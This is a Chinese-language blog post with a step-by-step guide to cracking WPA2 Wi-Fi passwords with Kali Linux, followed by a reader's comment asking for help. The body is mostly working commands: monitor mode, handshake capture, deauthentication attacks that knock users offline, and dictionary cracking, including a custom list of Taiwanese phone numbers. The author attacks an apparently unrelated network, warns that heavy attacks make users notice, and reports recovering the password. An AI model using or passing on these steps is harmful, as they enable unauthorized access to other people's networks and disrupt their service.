2017年9月1日 星期五

用 Kali Linux 破解 wifi WPA2 密碼

網路上有很多的說明,但有些的教學步驟不完整,這裡記錄我操作的過程。
(2017 年與 2021 年操作心得不同,會備註說明)

從 Kali 官網下載的 iso, 32 or 64 位元裝到隨身碟之後,都無法順利啟動,後來改用 VMware 虛擬機器操作,首先要確認虛擬機器能連接到桌機外接的網路卡。(可是我用虛擬機器抓網路很慢)
P.S. 2021.01 版的 live iso 裝到隨身碟之後,開機能順利啟動。
開啟終端機,輸入 airmon-ng 確認有沒有無線網卡

輸入 airmon-ng start wlan0
會看到網卡被佔用,要輸入 airmon-ng check kill 清除不必要的東西
(P.S. 以隨身碟開機不會佔用網卡)

清除後再輸入 airmon-ng start wlan0 會看到網卡名稱已經變成 wlan0mon

輸入 airmon-ng start wlan0mon 將網卡變成監控模式

輸入  airodump-ng wlan0mon 看看有哪些無線網路被監控

我選定 ESSID 網路名稱 t 開頭那個訊號源,抓取路由器的握手包。
先按 Ctrl+c 跳出監控之後,輸入
airodump-ng -w /tmp/wpatest -c 11 --bssid B0:B2:4C:81:E4:EB wlan0mon
指定裡的 -c 代表頻道,–bssid 就是路由器MAC,-w 是指定握手包的保存目錄 /tmp/wpatest

畫面就會像上面那樣,原本的 Console (終端機) 不要關閉讓他繼續進行收集封包的作業,再開另一個終端機畫面,使用 wlan0mon 去收集封包,也就是發送反認證包,讓其斷網並自動重連路由器,以便截獲握手包

P.S. 2021 年,我使用的指令是
airodump-ng -c1 --bssid XX:XX:XX:XX:XX:XX -w freedom wlan0mon
-c 一樣代表 CH 的頻道,-w 接的 freedom 是記錄到 WPA 握手包的檔名開頭以此命名。
否則預設的檔名會是 -01.cap,並且存在 root 根目錄裡,還要另外輸入 mv ~/-01.cap freedom-01.cap 重新命名指令才有辦法以字典檔比對。

輸入以下指令:
aireplay-ng -0 20 -a B0:B2:4C:81:E4:EB --ignore-negative-one wlan0mon

aireplay-ng 是傳送假信號讓 AP 與 Client 之間進行互動,進而抓取中間的封包

-0 的攻擊模式是發送阻斷訊號,讓使用者誤以為與 AP 連線中斷而重新發出授權請求,由 airodump-ng 進而擷取需要的 arp 封包 (參數 10 代表攻擊10次,請斟酌數量,大量攻擊會讓使用者查覺到網路異常)

P.S.: 2021 年我輸入的指令是
aireplay-ng -0 0 -a XX:XX:XX:XX:XX:XX -c OO:OO:OO:OO:OO:OO wlan0mon
XX 是 BSSID,OO 是偵測到的 STATION

-a 為要攻擊的 AP mac
也可以加上 -c 後面接 STATION 的位置

如果有攔截到封包,就會出現 WPA handshake 的字樣,在暫存目錄裡,也會看到副檔名是 cap 的封包檔

接著執行 airmon-ng stop wlan0mon 關閉網卡監控模式
P.S.: 2021 年試的時候,不關閉網卡監控也沒關係。
然後執行 gzip -d /usr/share/wordlists/rockyou.txt.gz 解壓 kali 自帶的字典檔

最後根據字典檔和握手包暴力破解密碼的方式就是執行
aircrack-ng -a2 -b B0:B2:4C:81:E4:EB -w /usr/share/wordlists/rockyou.txt  /tmp/wpatest*.cap

-a2 表示WPA,-b 路由器MAC,-w 字典,最後是握手包

順利的話,密碼就出來了,要順利抓到握手包,最好是有用戶連上 AP 才能攔截。Kali 內建的字典檔大概有一千萬筆,使用其它的字典檔也是可以。

後來我發現找到的密碼不是真正的密碼,可能是有人連上 AP,輸入了錯誤的密碼,就被抓到握手包裡了。

P.S.: 2021 年試驗的時候,kali 自帶的字典檔也是找不到密碼,那是外國人使用的密碼習慣,台灣人大部份會用容易記憶的密碼,例如手機號碼,於是我就用 crunch 指令產生手機號碼字典檔,方法如下:
crunch 10 10 0123456789 -t 09%%%%%%%% -o num10.dic
第一個 10 代表第一筆資料是十位數,第二個 10 代表最後一筆資料也是 10 位數,-t 是指定格式一定要 09開頭,-o 是指定產生的字典檔名。這樣產生出來的文件大約有 1G,跑破解的指令是
aircrack-ng -a -w num10.dic freedom-01.cap
這次有成功找到密碼 Y^^Y

參考資料:
https://goo.gl/YZdWmm
https://iter01.com/572711.html

1 則留言:

  1. 你好,我抓到的handshake,目前用啥字典都還沒解出來,請問有什麼方法嗎? 求助大神了!!!

    回覆刪除